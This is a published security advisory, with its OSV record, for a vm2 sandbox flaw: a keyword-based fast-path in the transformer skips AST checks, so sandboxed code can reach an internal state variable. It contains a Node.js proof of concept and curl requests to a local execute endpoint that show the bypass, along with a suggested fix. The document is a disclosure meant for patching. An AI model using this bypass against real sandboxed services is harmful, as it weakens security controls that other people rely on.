GHSA-WP5R-2GW5-M7Q7
Vulnerability from github – Published: 2026-05-07 04:32 – Updated: 2026-05-14 20:36Summary
vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).
Details
In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.
When the fast-path is taken:
1. INTERNAL_STATE_NAME identifier check is bypassed: The AST visitor that blocks access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL never runs
2. with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation
3. The internal state object exposes: handleException(e), wrapWith(x), import(what)
While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.
PoC
Library-level PoC (Node.js script — primary):
const { VM } = require("vm2");
const vm = new VM();
// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
Object.keys(x).join(",")
`);
console.log(result); // "wrapWith,handleException,import"
// Control test — blocked when catch keyword is present
try {
vm.run(`
try {
var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
} catch(e) { e.message }
`);
} catch(e) {
console.log(e.message); // "Use of internal vm2 state variable"
}
HTTP demonstration:
# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'
# Result: "wrapWith,handleException,import"
# Control test — blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}'
# Result: {"errors":["Use of internal vm2 state variable"]}
Suggested fix:
// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
return {__proto__: null, code, hasAsync: false};
}
Impact
- Security Control Bypass: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.
- Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes.
- Scope: All applications using vm2. No special configuration required.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.5"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44003"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T04:32:56Z",
"nvd_published_at": "2026-05-13T18:16:16Z",
"severity": "MODERATE"
},
"details": "### Summary\nvm2\u0027s code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\n\n### Details\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\n\nWhen the fast-path is taken:\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\n\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\n\n### PoC\n\n**Library-level PoC (Node.js script \u2014 primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Access internal state (bypassed \u2014 no catch/import/async keywords)\nconst result = vm.run(`\n var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n Object.keys(x).join(\",\")\n`);\nconsole.log(result); // \"wrapWith,handleException,import\"\n\n// Control test \u2014 blocked when catch keyword is present\ntry {\n vm.run(`\n try {\n var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n } catch(e) { e.message }\n `);\n} catch(e) {\n console.log(e.message); // \"Use of internal vm2 state variable\"\n}\n```\n\n**HTTP demonstration:**\n```bash\n# Internal state access (bypassed)\ncurl -s -X POST http://localhost:3000/api/execute \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}\u0027\n# Result: \"wrapWith,handleException,import\"\n\n# Control test \u2014 blocked when catch keyword is present\ncurl -s -X POST http://localhost:3000/api/execute \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}\u0027\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\n```\n\n**Suggested fix:**\n```javascript\n// transformer.js:55 \u2014 add \u0027with\u0027 keyword and INTERNAL_STATE_NAME check\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) \u0026\u0026 code.indexOf(INTERNAL_STATE_NAME) === -1) {\n return {__proto__: null, code, hasAsync: false};\n}\n```\n\n### Impact\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\n- **Scope**: All applications using vm2. No special configuration required.",
"id": "GHSA-wp5r-2gw5-m7q7",
"modified": "2026-05-14T20:36:55Z",
"published": "2026-05-07T04:32:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44003"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "vm2\u0027s Transformer Fast-Path Bypass Exposes Internal State Variable"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.